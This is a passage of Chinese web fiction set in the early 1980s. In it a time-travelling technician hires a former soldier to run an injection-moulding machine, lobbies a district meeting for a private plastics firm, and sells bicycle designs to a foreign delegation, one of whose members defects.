李江一说着,目光投向面前蜿蜒的山路,心底突然涌起一股斗志——当兵那会儿,越野跑对他来说可是家常便饭!
每周四天的五公里越野跑是雷打不动的日常训练。
那时候,李江一总是班里第一个冲过终点的。
有时跑完还觉得不过瘾,他就自己加练。
报纸上常报道各地乃至国外举办马拉松赛事的消息,李江一觉得,跑马拉松对自己来说并非难事——他曾测试过,一口气跑20公里不成问题,只要勤加练习,说不定真能成为马拉松选手。
想到这儿,他深吸一口气,朝着城里大步跑去。
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三四个时辰过去,浑身燥热的李江一终于抵达杜国强所说的地址——安阳自行车配件厂。
杜国强现在有办公室了。
厂**亲自敲定落实的。
如今,杜国强是厂里仅有的三位拥有独立办公室的人之一,另外两位分别是刚复职的厂长和娄**。
李江一抬手理了理皱巴巴的衣襟,低头瞅了瞅怀里刚在路上买的点心匣子。临出门时,父亲一个劲叮嘱他得备些贵重礼——至少割上一斤半斤肉。可李江一心里犯嘀咕,这工作八字还没一撇呢,怎好大手大脚花爹娘的钱?思来想去,他只挑了几样寻常糕点,权当登门的见面礼。
“噔噔噔”。
敲门声响起。
“进!”
杜国强话音刚落,见李江推门而入,他便笑着招了招手,“你就是李天水同志的儿子吧?快坐,我跟你讲讲接下来的工作安排。”
他上下打量了一眼眼前人,暗暗点头——这小伙子身形挺拔,是个能吃苦的好苗子。
他谋划的注塑机项目本就打算长期推进,正需要培养几个得力助手。
听闻杜国强说要让自己负责一台机器,李江一虽不太明白这“注塑机”究竟是做什么的,仍一个劲点头应下。
同时也在打量着眼前比自己还显年轻的领导,他心底满是惊讶。
这人看着比自己还年轻呢!但人家已经是坐办公室的技术员了,而自己至今还在为生计发愁。
“领导,您放心!只要肯给我机会,我一定拼命干!”
李江一语气诚恳,却又带着几分忐忑,“不过这机器我从没碰过,万一……万一出岔子,可别连累了您。”
杜国强摆了摆手,语气豪爽:“这有啥!从头学就行,初期有点损耗再正常不过。注塑机这活,靠的是熟能生巧,和学历技术没啥关系。会读说明书、会看表、会调配原料就可以。
注塑机一行操作起来实际很简单。
后世有些单位为了充门面,非要塞高材生来干这种活,纯属浪费,装逼撑门面了。
好在,这个年代没这么多弯弯绕绕。
干活,就是干活!
第49章 个体户
“你替**活,我给你发工资。试用期每月25块,包吃包住。等熟练转正后,工资涨到40块。”
杜国强目光灼灼,“而且产品质量越好,激励奖金越高。”
“40块一个月?!”
李江一猛地瞪大眼,喉结狠狠滚动了一下。
这个数字对他来说,不啻于一声惊雷——虽说国企老工人靠工龄能拿到相近薪资,可对他这个退伍归来的泥腿”而言,简直是天文数字。
想想同龄的年轻人,就算在城里,也不过是在居委会倒茶水、扫大街,每月撑死十几块收入。
他本以为杜国强安排的也是这类杂活,哪料到对方竟甩出如此高薪!
“这……我受不起啊!”李江一有些紧张道:“我怕是干不好,拿不起这么多钱……”
“放心,注塑机这行本就任务重、杂事多,经常要加班,有时还得通宵盯着设备运转,这钱你受之无愧。”
杜国强摩挲着下巴,语速不紧不慢,“住宿的事,我让八零厂给你安排八人间职工宿舍,再办个手续,往后你就能和厂里工人一样用折扣餐。”
虽说,注塑机项目目前还未正式提上日程,创业之路必定漫长且充满坎坷。
但杜国强心里清楚,前期的设备加工筹备可以先行开展——反正日后公司若要挂靠,终归是依托八零厂,倒不如趁现在让厂里出点血,把基础事宜敲定下来。
话音刚落,杜国强便风风火火地起身,快步走向隔壁办公室。
他还没来得及在自己办公室里装电话,只能借用娄**的座机,拨通了八零厂朱厂长的号码。
电话那头,朱厂长听完情况,二话不说就应了下来,甚至还安排李江一当天下午就去厂里报到,宿舍也会一并落实。
和我合作的这些领导,个个都是雷厉风行的性子!
挂断电话,杜国强忍不住咂舌赞叹。
这习惯可很难得,往后时代,好多人做事拖拖拉拉,一件事在单位里扯皮个十天半月是常有的事。
幸亏我身边没这种人。
下午,李江一按杜国强的安排前往厂里报到。
有朱厂长的招呼,手续办得十分利落,很快就分到了八人间宿舍。
屋里三个是四十多岁的老工人,沉稳和善,其余几个都是和他差不多年纪的年轻人,朝气蓬勃。
李江一心里暗暗松了口气——有同龄人在,往后生活里总能找到共同话题,交流起来也自在许多。
夜幕,李江一遵照父亲的叮嘱,来到厂区小卖部拨通了村里的电话。
当李天水在听筒那头听到儿子讲述的工资待遇时,笑得合不拢嘴,眼睛都眯成了一条缝:“那你现在算是八零厂的人吗?”
李江一赶忙摇头:“不算,我不是给八零厂干活。杜国强说,以后我主要归他管。”
“什么??”李天水猛地一愣,声音都拔高了几分,“他给你安排的不是国企的工作?”
“不是。”李江一再次摇头解释,“杜国强说,他以后要开一家私人企业。”
“原来.......”李天水眉头拧成了疙瘩,重重叹了口气,“合着他给你找的是个体户的营生。”
电话那头沉默了好一会儿,他才语重心长道:“儿子,依爹看,这活怕是干不长久啊……”
听着电话里父亲的话,李江一道:“爹,您这说的什么话?杜国强对我实打实的好,咋就干不长久了?”
“小毛孩子懂什么!”李天水的声音裹着吧嗒吧嗒的抽烟斗声,“个体户,能指望人家月月按时发钱?你在这种个体户里干,不说别的,你给个体户干。啥时候才能像你爹一样去参加区里面的六一大会?还不如接着回家务农呢,个体户,那是丢人的买卖!”
在八十年代初,私有企业刚露出苗头,“个体户”三个字就像洪水猛兽,尤其是对农村出身的人来说,更是带着几分贬义。
有人还给他们起了个刺耳的外号——盲流。
李天水思想本就保守,一想到儿子要给个体户打工,心里就像堵了块大石头,说什么都不愿意
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顿了顿,李天水道:“算了,你先干着,爹再给你寻寻别的门路。等有了铁饭碗,咱就把这活辞了。”
“不行!”李江一拒绝道:“那我不成忘恩负义的小人了?人家在我没活路的时候拉了一把,我咋能转头就嫌弃?”
“没个稳定工作,以后拿什么娶媳妇?”李天水也提高了嗓门,“跟你说不通!过几天我要去区里参加六一大会,到时候找领导再打听打听……”
与父亲通完这通电话,李江一满心失落。听筒里父亲的话像尖锐的刺,扎得他心里生疼,可又不得不承认,那些担忧并非毫无道理。
在个体户手下干活,确实机会少了很多,父亲说的最近的六一大会李江一之前也憧憬着。
但李江一骨子里流淌着军人的血性与担当,最是懂得知恩图报。
在他看来,轻易撂挑子当甩手掌柜,那是懦夫行径。
既然杜国强雪中送炭给了他工作机会,哪怕前路布满荆棘,他也铁了心要铆足劲,把这份活干得漂亮,用实打实的成绩回报这份知遇之恩。
李江一拿出杜国强给的一些关于注塑机的资料,下午又拿到杜国强给的介绍信,前往一家生产锅碗瓢盆的注塑厂学习钻研技术。
——杜国强让李江一这几日找些产品出来,虽然李江一不知道造这些东西有什么用,但还是决定乖乖照做——毕竟对方是自己的领导。
注塑机的操作并不困难,尤其是生产日用品,设定好程序后,近乎傻瓜式操作。
仅用两天时间,李江一就基本摸清了门道。
他带着自己生产的几个塑料盆,来到杜国强的办公室。
“东西我倒是造出来了,”李江一晃了晃手里的小盘,面露疑惑,“只是您要这玩意有啥用?”
杜国强嘴角扬起一抹笑意:“自然是拿出来在众人面前显摆的。”他顿了顿,神色认真地嘱咐道,“你把东西收好,跟我去一趟区里的六一大会。”
“啥,六一大会,我也去?”李江一愣了愣。
第51章 这次情况有些特殊
李天水一头雾水,完全摸不透杜国强究竟有什么打算。台下众人同样满心疑惑,明明是邀请杜国强上台发言,怎么他还带了个衣着朴素的农村汉子?
“国强同志,领导叫你上来是发言,谈谈你造自行车的思路,好给大家一些借鉴的......”区长秘书贴心道。
“我是知道这点的,但是我觉得有些东西是比自行车要重要的。。”
杜国强面带微笑,先向区长和台下众人点头致意,随后清了清嗓子,语气诚恳道:“我知道,大家看我上台,肯定以为我会说些场面话应付差事。平日里应付差事的机会多得是,可像今天这样,能和各位领导、同仁面对面交流的机会实在难得。”
“在我看来,我之前搞出来的自行车项目,根本不算什么大单子,也不值得专门拿到六一大会上来讨论。”
杜国强话音刚落,台下瞬间炸开了锅。
要知道,杜国强主导的自行车项目在区里可是响当当的成果,如今竟被他轻描淡写视作不值一提,众人交头接耳,议论声此起彼伏。
蒋金福区长目光灼灼,饶有兴致地看向杜国强:“杜国强同志,我倒好奇了,你何出此言?依我看,八零厂的自行车项目已经做得相当出色。区财政局专门核算过,照现在的增长势头,不出一年半,就能与三阳自行车厂比肩。假以时日,冲击凤凰、永久这样的大品牌,也并非没有可能。”
杜国强闻言,郑重地点了点头,语气诚恳:“区长说的是。八零厂的自行车确实前景可观,但——说到底,它生产的也只是自行车。”
“这东西,几十年前咱们国家还没成立的时候,就有厂商在生产了。那会儿没有苏联援助,也没人给咱们提供技术支持,不少小作坊靠着土办法都能造出来,足见它的技术壁垒并不高。八零厂就算一直生产下去,也不过是在重复制造自行车。在我看来,这远远不够。”
杜国强目光坚定,环视台下众人,继续说道,“未来是科技飞速发展的时代,如今咱们国家在诸多领域遭受国外技术封锁,每一步都走得艰难。咱们区作为工业大区,更应该主动担当,投入专项资金、人力和财力,全力攻克关键技术。”
这小子藏东西了,有诈!
此言一出,原本热闹喧腾的礼堂瞬间陷入死寂,众人面面相觑,纷纷沉默下来。
尽管还不清楚杜国强后续的打算,但有一点大家都心照不宣——他是要向区里申请专项资金了。
要在当下这个节骨眼,区里的每一分钱都花在刀刃上,普通企业想分到一杯羹难如登天。
平日里,大家自然愿意给杜国强捧场,口头夸赞他对区里的贡献。
可真到掏钱的地步,谁都不乐意松口。
毕竟资金就那么多,各家企业都眼巴巴盯着。
几位脾气火爆的区办企业负责人当场沉不住气,拍着桌子质问道:“杜国强,你到底打的什么主意?想拿区里的钱搞什么名堂,痛痛快快说清楚!”
杜国强不慌不忙,笑着环视一圈会场:“我本就没打算藏着掖着——我想请区里牵头,新开一家注塑厂。”
“注塑厂?那是什么玩意儿?”
台下顿时炸开了锅,众人交头接耳,满脸疑惑。好在人群中几位懂行的技术人员站了出来,主动向身边人解释:“注塑就是把塑料颗粒加热熔化,再用模具压制成各种形状的物件,像日用品、工业零件都能用这法子造......”
听了讲解,大家伙这才恍然大悟,虽说注塑产品还没有彻底取代铁质的这些日用品,但是大多数人还是见过的。
“这东西有什么稀罕?咱们省里都开了好几家注塑厂了,根本没必要动用区里的专项资金!”
有人颇为不屑道。
台下传来一声嘲讽,语气满是不屑,“杜国强同志,你还是踏踏实实领你的奖,别在这儿异想天开了!”
原本还以为杜国强想向区里要资金是要弄什么大科技,结果,也就是一家塑料厂?
杜国强神色不改,提高
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声调反驳道:“没错,省里确实有注塑厂,但我要做的东西,和他们生产的完全不是一码事!”
杜国强朝李江一挥了挥手,李江一心领神会,立刻将肩头的麻袋卸下。
解开绳结,“哗啦”一声,一堆注塑盆子倾倒在众人眼前。
“这些就是区面上普通注塑厂生产的产品,强度很低。”
话音未落,杜国强便将一个盘子踩在脚下,只听“咔嚓”脆响,盘子瞬间碎裂变形。
他直起身,目光扫过台下震惊的面孔,沉声道:“这样的质量远远不够。我要造的,是能应用在飞机大炮上,扛得住**、炮弹轰击的高强度产品!”
台下瞬间爆发出一阵哗然,众人面面相觑。
在他们看来,杜国强这话简直是天方夜谭——用塑料做能扛住炮弹的材料?这牛皮吹得也太大了!
“这咋可能嘛!塑料片子用到炮弹上!!”台下质疑声四起。
杜国强听着议论,不慌不忙提高嗓门:“其实这种材料在西方国家已经用开了,他们拿高强度塑料件做武器配件,既能减少金属消耗,还能给设备减重呢!”
杜国强看向蒋金福,他心里清楚,这场博弈的决定权握在对方手中。
“区长,我已经和玛瑞贸易达成协议,他们愿意把一台生产高强度工业部件的注塑机引进到大陆,用于开办新企业。”
蒋金福神色平静,不紧不慢地回应:“这是好事,港资企业带着技术设备来投资,我们当然欢迎。到时候让八零厂牵头承接,区里也会给予支持。”
杜国强顿了顿,语气郑重:“区长,这次情况有些特殊。玛瑞贸易希望投资的是一家私人企业,还提议由我担任负责人。”
“私人企业?!”
这话如同一颗炸雷在礼堂里炸开,这个年代私人企业四个字堪称惊世骇俗。
“啥?让他自己当老板?”“这可是要走资本主义路子啊!”
“杜国强,你要背叛**不成?”
......
第52章 这可是笔大买卖
在这个时代,资本主义就是洪水猛兽。
谁要是被扣上这个帽子,无异于接受一场另类的批判。
杜国强竟敢当着在场众人的面说出要搞个体,这行为,无疑是对众人的挑战。
一位商界老前辈缓缓站起身,摸了摸自己的胡子,语气凝重地说道:“这不是时代的**吗?是向资本主义的复辟,我坚决不同意!”
杜国强望着对方,咧嘴一笑,说道:“我发展点私人经济,就是复辟资本主义了?那老先生,您留这么长的胡子,岂不是想回到清朝当皇亲贵族?”
老头子气得浑身一哆嗦:“放屁!我啥时候说要回到清朝了?所以说,这屎盆子别乱扣!”
杜国强此前也听闻过不少关于这位老头子的事。
老头子年轻时,家中是有名的大地主,年纪轻轻染上了抽**的毛病,家产败了不少。
后来,眼看国家成立,这老头子唯恐被清算,便提前举了白旗,将家中的财产半卖半送地交给了地方政府,这才谋得了商业协调员的职位。
现在人们看他岁数大了,才把他推到台面上,实在算不上什么真英雄。
杜国强冷冷地盯着他,双眼之中透着一股杀气,把老头子吓得一哆嗦。
杜国强质问道:“私人经济怎么了?现在上面都在推崇改革,支持个体户发展,咱们在这儿反对,岂不是要落后于时代?”
区长见状,皱了皱眉头,用手指敲了敲桌子道:“你们这是在做什么?好歹是个大会,讨论什么屎啊尿的,合适吗?”
这话明显就是在和稀泥。
见区长给了台阶下,那老头子也不好再继续发作,冷哼一声,便坐回了自己的位置。
这时,蒋金福看向杜国强,说道:“虽说上面支持个体户发展,但政策有些变动也很正常,未来的走向,咱们谁都摸不准。所以,这件事恐怕还是难办啊。”
杜国强皱起眉头。
这年头想在内地开一家公司实在是太难了,看来只能先在地下进行注塑机的实验,暂时不将其转化为商业用途。
就在杜国强思索之际,蒋金福又开口了:“不过,区里确实也有再开几家工厂的想法,要是能有一家私人性质的,也很不错。”
杜国强眼前一亮,连忙问道:“区长,您的意思是?”
蒋金福爽朗地笑了起来,说道:“你是咱们区难得的技术性人才,商业头脑又好,我们当然得想办法把你留下来。”
“不过,天下没有白吃的午餐。现在有一项任务交到了咱们区头上,可把区里的同志们都难住了。你要是能解决这个问题,咱们来一场大实验又有何妨?”
“您放心,我保证全力完成区上交代的任务!”杜国强拍了拍胸脯保证道。
蒋金福咳嗽一声,语气郑重:“话先别说太满。这问题可有些棘手,你应该知道和咱们省接壤的邻国吧?”
“太阳国?”杜国强愣了一下,随即点头,“自然知道。”
蒋金福接着说:“现在太阳国的人想跟咱们做笔交易,向咱们区下1万辆自行车的订单。区里一直犹豫,要不要把这个任务交给三阳厂。”
“1万辆自行车,这可不是小数目,太阳国这次挺豪爽啊。”杜国强感叹道,“既然这样,三阳厂应该没理由拒绝才对,这可是笔大买卖。”
“问题就出在这儿。”蒋金福苦笑着摇头,“买卖虽大,但赔赚还不一定呢。太阳国外汇有限,他们本国的货币咱们拿了也没用,所以给的价格极低。要是接下这1万辆订单,考虑到各种影响,咱们最后可能一分不赚,还得倒贴钱。还有,太阳国在拿到这1万辆自行车后,极有可能自行仿制,三阳厂这桩买卖,很可能就是一锤子的。”
杜国强听完,点了点头。
也难怪三阳厂不愿意接,白白忙活好几个月,钱没赚到,人家还要仿制产品,换谁都受不了。
“现在太阳国的考察团已经到咱们区了,正住在招待所。我本来打算劝他们去别的地方看看,但如果你敢接下这差
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事,还能保证八零厂不亏损,那我就同意你开公司!”
“区长,你这任务难度可不是一般的大啊。”杜国强语气中带着几分凝重。
蒋金福叹了口气,脸上满是无奈:“看来你也拿不下来,算了,我这就回绝那些太阳国的考察团,请他们去别的地方转转。”
“别着急啊,我还没说完呢。”杜国强忽然露出一抹自信的微笑,道:“这个问题交到别人手里,或许完成不了,但是给我,那就是稳赚不赔。即便是太阳国,我也能从他们身上薅出几根肉骨头来!”
听到杜国强这番豪言,六一大会上请来的众多工厂、国营企业高管们纷纷一愣,紧接着便嗤笑起来。“杜国强,**都没长齐,就别揽这差事了!1万辆自行车,你知道那是个什么概念吗?给太阳国生产肯定是赔本买卖!”
就连蒋金福也忍不住开口询问:“杜国强,你是认真的?这事你要是说大话,到最后有可能会被处分的。”
杜国强咧嘴一笑,道,“没有这金刚钻,我敢揽这瓷器活吗?您就瞧好吧!”
蒋金福激动地站起身来,点了点头:“好!我这就联系太阳国的那几位,请他们来和你谈谈具体细节!”
蒋金福二话不说,当场就出去联系太阳国的人了。他这般激动也情有可原,毕竟这件事涉及外交层面,倘若处理得当,妥妥能记成政绩。
然而,这对六一大会上的其他人来说,可就不是什么好事了。
随着区长离开,现场气氛微妙起来。众人简单的走了几个流程,配合政务部门完成了几个领奖,就一哄而散了。
倒是有一个人很激动,那便是双水村的村支书李天水,他拉着自己儿子絮絮叨叨的说个没完。
要知道,能登上六一大会的**台,哪怕只是个跑腿打杂的活儿,对他们这些泥腿子而言,也是莫大的荣耀。
尤其是老李家,家里要是能出个在大会**台上办事的,可是光宗耀祖的大事。
......
第53章 太阳国考察团
蒋金福办事效率极高,很快就联系上了太阳国方面,并在办公室与杜国强一同迎接对方。
此次考察团一行五六人,他们身着颇具太阳国特色的改良西服,款式宽大,虽不见太多庄重感,倒也符合杜国强对太阳国的一贯印象。
不过,考察团众人的面相却给了他一些惊喜——领头的竟是一位女领队,模样出众,身高约一米六五,扎着丸子头,说起话来声音轻柔,十分勾人。
看来太阳国盛产美女,此言果然不假。
“欢迎你们,远道而来的朋友们!”蒋金福笑着与众人一一握手,“这些日子实在忙得抽不开身,一时疏忽,还望几位海涵。”
太阳国的几位使者连忙恭敬回礼,那位女领队更是说着一口流利的汉语,柔声道:“蒋区长,我们完全理解您的忙碌。我们也清楚,这次带来的订单或许会给贵区造成一些困扰。但我们真心希望,贵区能挑选出合适的厂商,帮助我们的百姓。拜托了!”
说罢,女领队带头鞠躬行礼。低身时偶露那一抹白光,让人忍不住多看两眼。
蒋金福轻咳一声,赶忙将她扶起:“放心!咱们是邻邦,两边又有同族人,怎么说也算近亲。你们的事,我们一定尽力解决。只是这价格方面,是否还有商量的余地?”
女领队果断摇头:“抱歉,这个价格已经是我们能给出的最高限度了。”
小狐狸!
蒋金福在心里暗骂。嘴上一口一个兄弟叫得亲热,可到了商业谈判,分毫不让,俨然还是对手姿态。
“哈哈,没事,这个钱我们也是能接的。”蒋金福嗓音有些僵硬地说道,随后转头喊道,“小杜同志,你来听一下。看看我们的友邦友人需要什么类型的自行车。”
杜国强大大方方地走上前来,朝女领队伸出手,微笑着与她握了握手,说道:“还请您将技术要求告诉我。”
女领队显然有些意外,眼神中闪过一丝疑惑,问道:“你是?”
“我是安阳自行车配件厂的中级技术员,同时也是陆川区八零厂的特别顾问。”杜国强语气沉稳,不卑不亢地回应道。
“八零厂的特别顾问?你是杜国强?”女领队眼中闪过惊喜,语气透着兴奋,“这些天我做市场调研,发现本地有一种特别受欢迎的自行车,就是八零厂生产的!你不会就是那位……年轻得有些过分的杜国强吧?”
“真是我。”杜国强愣了一下,随即点点头。
他没想到自己的名声竟已传到邻国友人嘴里。
这侧面也印证了太阳国的情报能力确实不容小觑。
“我们采购这1万辆自行车,是要帮助当地农户承担中部开垦任务的。元帅同志亲自指示过,自行车一定要牢固,能经得起山路颠簸,还得有一定的质量保证和使用寿命。”女领队郑重说道。
一旁的蒋金福听完,心里直想骂娘。
既要质量上乘,又要价格低廉,这不是明摆着把自己区里的自行车厂当冤大头吗?
若不是上面下达的指示,还可能影响后续的政务评比,蒋金福打死都不想接下这吃力不讨好的苦差事。
“好,没问题。我现在就去设计图纸,争取以最快的速度生产出样车,让你们过目。”杜国强神色笃定地说道。
太阳国的代表团皆是一愣,显然没料到杜国强竟这般干脆利落地应下了任务。
在他们的预想中,对方至少会就价格问题据理力争,多争取些利益,可眼前这情况,着实出乎所有人的意料。
“杜先生,你确定不再多问些了?”女顾问语气带着犹豫,“我们还可以再探讨一下。”这话几乎是在明示杜国强,他们愿意在费用上做出让步。
不料杜国强却摆摆手:“自行车价格就按你们说的来。”
女顾问眼中闪过一丝感激,主动握住杜国强的手:“好,那我们就期待贵方能生产出质量达标的自行车了。”
杜
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国强与对方又客气地聊了一阵后,匆匆赶回八零厂的生产车间,找到负责生产制造的车间主任。
“老李,快点帮我弄一辆自行车,样式就按咱们之前做的来,但那些起装饰美化作用的部件都去掉,车铃铛也不留,得把成本降下来。”
车间主任一听这话,顿时来了精神,笑得满脸褶子都堆到了一起,搓着手追问:“这是又接了哪家厂商的大订单啊?总共订了多少辆?”
“1万辆!”杜国强语气沉稳。
“哎呦我去!你小子可真有本事!”车间主任眼睛一亮,冲杜国强竖起大拇指,激动得双手直搓,“那核算下来,一辆自行车能卖多少钱?”
“大概115块钱左右。”
“啥玩意?”车间主任先是一愣,随即瞪大眼睛难以置信地盯着杜国强,“小子,你跟我开玩笑呢吧?这价咋可能接?起码得再加20块!”
杜国强摇摇头:“确实只能给到这个价。”
“这不是存心把人当傻子糊弄吗?”车间主任怒意渐起,“合着生产1万辆自行车,八零厂啥好处都捞不着?这点钱刚够保本啊!”
他急得来回踱步道。
现如今车间工人生产没奖金,但订单多了,厂里交完任务剩下的钱,还能给大家买糕点啥的,过节好带回家孝敬父母。可这1万辆订单压根赚不着钱,谁愿意干?
“不行,这个订单我们八零厂坚决不接!”车间主任态度毅然决然,“就算把朱厂长叫来,我也这话——不能接!按这价生产就是赔钱!”
杜国强却沉稳点头,压低声音道:“放心,自行车价格是死的,但咱们有别的法子赚钱。”
“你先让大家伙别着急,赶紧把样机搞出来。”杜国强拍了拍车间主任的肩膀。
“你能有啥法子?”车间主任皱着眉追问。
杜国强勾了勾嘴角,眼里闪过一丝得意,道:“实物自行车卖不上价,但咱们可以卖服务啊。”
第54章 签订合同
“你先别着急,赶紧把样车搞出来。”杜国强拍了拍车间主任的肩膀。
“小子,你这话可是认真的?莫要哄着大家玩。”车间主任死死盯着杜国强。
“您放心,我还能骗您不成?”杜国强笑着拍了拍胸脯,“我保证,咱们八零厂的这笔生意绝对有的赚。”
车间主任冷哼一声,脸色缓和了些,最终还是压下心头疑虑:“小子,我就信你这回。要是出岔子,看我怎么收拾你!”
车间主任雷厉风行,一声令下,学徒立刻推出一辆刚拼接好的自行车。
随着工具作响,装饰用的横梁被逐一拆除,原本精致的车身瞬间变得光秃秃,只剩一副简洁的车架。
杜国强端详着略显寒酸的车架,又让人找来一个老款座椅加装在车座后方。
一切就绪后,杜国强将太阳国代表团请到八零厂,对方想最短时间拿到样车也没有墨迹。
“这不是八零厂新生产的那款自行车吗?不对,你们还做了些改动。”女顾问带着代表团的技术员围拢过来,一边研究细节一边赞叹,“虽说去掉了部分原版零件,但整体设计完全贴合我国需求!”
太阳国女使者双眼发亮:“我觉得没问题。那我们现在就签订合同,按之前谈好的价格?”她特意强调。
杜国强笑意加深:“价格方面您不必担心。不过除了自行车,我还想卖你们这辆车的设计图,以及整套研发思路。”
“设计图?”女顾问猛地一愣,眼中满是意外,“杜同志,我没理解你的意思……”
“很简单,”杜国强语气直白,“以太阳国的情况,大概率不会订第二批,咱们这是一锤子买卖。而且你们拿回产品,多半会仿造。”
“但仿制品终究是仿的——这车是我亲手设计,很多细节藏着门道。这次卖的虽是精简版,但我可以给你们原版设计图。以后你们按图生产,能做出和八零厂同水平的车子。”
女顾问眼底闪过亮光:“我得跟国内负责人请示。”
“请便。”杜国强胸有成竹地摆摆手。
事实上,售卖设计图纸早是杜国强的计划。八零厂的飞天1号虽技术领先,但在快速迭代的市场中终将淘汰。
与其让图纸贬值,不如提前变现。
而他脑中储备着大量设计方案,等太阳国吃透飞天1号实现量产时,八零厂正好顺势推出第二代车型,技术迭代不过是他规划中的下一步棋。
“从两方讲,这都是一笔双赢的买卖,太阳国应当不会拒绝。”
杜国强心中早有盘算。
果然,女顾问联系完太阳国负责人后,目光审慎地开口:“杜先生,这设计图纸你们要价多少?”
“50万。”杜国强报出数字,语气沉稳。
女顾问脸色骤变,连连摇头:“不可能!这价格太高了,我们最多只能给到15万!”
“好,就15万。”杜国强几乎没有犹豫,一口应下。
女顾问先是一怔,随即面色涨红,怒意上涌:“杜先生,你在诈我们!”
“哈哈,兵不厌诈嘛。”杜国强神秘一笑,朝对方摆摆手,“做生意,总要有点策略。”
见女顾问仍沉着脸,他补充道:“既然价格谈妥了,不如咱们把自行车订单和设计图转让这两份合同一起签了?”
女顾问咬了咬唇,满心懊悔——自己一时情急,竟把太阳国的心理底价脱口而出。如今木已成舟,再想反悔已是不可能。
她只能强压下懊恼,硬着头皮与八零厂签下两份合同。
合同一签,杜国强爽快点头,将设计图纸交到女顾问手中。她立刻拿着图纸,与代表团的技术人员叽里咕噜商议起来。
几位上了年纪的技术员盯着杜国强设计的自行车图纸,时不时露出震惊的神色,显然被其中的细节和巧思所折服。
确定完图纸确为原版无误后,女顾问抬眸望向杜国强,眼底闪过一丝不易察觉的疑惑:“杜先生,根据我们掌握的情报,您初中毕业时
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所学不过是基础机械,可工作两年后却突然设计出这般精巧的自行车图纸。我实在好奇,您究竟是如何做到的?”
杜国强闻言朗声笑起来:“你这汉语说得不错啊,连‘茅塞顿开’都知道。”
他指尖轻轻叩了叩桌面,语气带着几分坦然,“说实话,我也就是赶上了时候,脑子突然开了窍罢了。”
总不能告诉你我是穿越者吧?
......
与外商敲定巨额订单后,八零厂按惯例在当地一家以涮羊肉闻名的特色民族餐厅设宴款待。
一路上,朱厂长却始终沉着脸——即便在杜国强再三劝说下签了出售设计图纸的协议,他仍觉得太阳国使团在交易中占尽了便宜,满心都是不满。
众人见状,谁都不敢上前触霉头,纷纷转而围向杜国强,向这位技术骨干送上称赞与贺礼。
太阳国女顾问伊景惠也凑了过来,主动举杯:“杜先生,我敬你一杯酒。”
杜国强爽朗地与她碰杯。
宴席上用的是国宴茅台,酒液醇香浓郁,却度数极高。几杯下肚,伊景惠白皙的脸颊很快泛起红晕。
杜国强连忙劝阻:“景惠小姐,若是酒量不佳,就别再喝了。没人会怪你的。”
伊景惠却摇头,语气带着几分兴奋:“这是我第一次来到贵国,难免有些激动。照理应该多喝几杯。”
听着她流利的中文,杜国强心中暗暗惊讶,实在难以相信这竟是她首次踏足国内。
许是酒劲上头,伊景惠愈发健谈,拉着杜国强说了许多。
交谈间,杜国强隐隐察觉到一丝异样——作为身负外交属性的顾问团成员,面对己方时,本该保持应有的矜持与底气。
可眼前的伊景惠,言语神态间却透着几分不寻常的热切。
但他并未深想,只觉得多一事不如少一事,散席后便径直回家倒头大睡。
谁知第二天刚到厂里,一个惊人的消息便炸开了锅——昨晚,伊景惠竟然叛逃了!
第55章 叛逃了
叛逃了!
杜国强呆滞在原地。
太阳国刑法苛刻,这是众所周知的事情。每年都有不少人想尽办法离开。
有通过外交手段的,有冒着**的风险穿越国界线的。但杜国强原本以为这些事情离自己很远,没想到眼下却真真切切地发生了。
“到底是怎么回事?”杜国强问道。
说话那人脸色焦急,擦了擦额头上的汗:“昨天夜里,太阳国使馆团吃完饭回到住所的时候,那个伊景惠忽然像发疯一般,扭头拐进一家巷子。还没等太阳国的那些保镖反应过来呢,人就没影了。找到现在,也啥都没发现。”
杜国强深吸了一口气道:“看来是早有预谋啊。”
那人问道:“杜技术员,你是咋知道的?”
“很简单。”杜国强解释道,“这又不是在他们国内,咱们这地方七拐八绕的,许多地方连待了好几个月的人都不一定能记住。而伊景惠却能在极短时间内摆脱太阳国的保镖,说明事先已经有人教她认过路了。”
对方恍然大悟地点了点头,问:“现在可咋整?我听说区里领导一早就聚在一块开会,市里面都派人来询问了,要求最短时间内查清对方的下落。”
虽说地方上不一定想管这事,可毕竟算得上是外交事件。捅出这么大个娄子,大家伙心里难免着急。”
“对了,杜技术员,”那人又说,“区长那边也通知你了,让你尽快去区委一趟,有些事情他得询问你。”
杜国强点头道:“晓得了,我这就去。”
杜国强扭头便朝区委走去。
他丝毫不怀疑自己在这件事情中的重要程度——刚刚同伊景惠签订完合同,对方拿到图纸,转眼第二天便失踪,想想都跟这份合同有很大关联。
杜国强赶到区委,在区秘书的带领下,走进了会议室。里面已经浩浩荡荡坐满了七八十号人。
“区长,杜国强带过来了。”秘书对蒋金福说道。
蒋金福疲惫地睁开双眼,望向杜国强道:“来了?坐吧,你也一块来了解一下情况。”
杜国强问道:“区长,现在到底是啥情况?”
还没等蒋金福搭话,一张桌子旁传来阴森森的笑声:“啥情况?这不是明摆着的事吗?那女人刚刚和你杜国强签订完合同,拿走八零厂的重要资产——自行车的设计图纸,对方就消失了。谁是内鬼,想必用不着我提吧?”
杜国强皱了皱眉头,望向对方——说话的是前几天在六一大会上跟自己顶嘴的老头子侯三贵。
杜国强平静道:“侯三贵,你不要落井下石。我跟这事没有丝毫关联,况且我做生意是区里的任务,怎么就成了内鬼?”
侯三贵还欲再说,却被坐在主位的区长厉声呵斥:“都什么时候了,还在这拌嘴?这事要是闹大了,咱们整个区都得受影响!能不能把重点放回找回那个伊景惠身上来?”
蒋金福狠狠拍了拍桌子,面色凝重。
周遭的人都被吓得不轻——他们何时见过区长摆出这副神情?一个个顿时老实了许多。
“依我看,这女人走不远。”侯三贵沉声道,“叛逃者常去的月亮国虽说离咱们这里不算太远,但终究有段距离。她想绕开封锁,起码得有蛇头接应。现在……肯定还在哪个地方窝着。”
有人附和着开口,蒋金福的眉头舒缓了些:“这才是我想听到的答案。在座各位,不管是经商的还是从政的,我希望大家都能想想办法,集思广益,把那伊景惠找出来,让这次外交事件平息下去。”
……
蒋金福给众人下达了任务,要求所有人想办法在最短时间内找到伊景惠,其中便包括杜国强所代表的安阳厂,以及八零厂。
会议散去,朱厂长烦躁地跟着杜国强走出了门。
他点了根香烟,叼在嘴上,满脸愁容道:“现在可咋整?八零厂刚刚才签下这笔生意,咱们受到的影响是最大的。弄不好要面临太阳国的毁约,还有那设计图纸……”
“哎,杜国强,我不知道该说你什么好,咋就这么轻易把图纸交给了对方?”
“合同已经签完了,按理说事儿已经了了,谁能知道对方又
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整出叛逃这么一档子事。”杜国强深吸了一口气道。
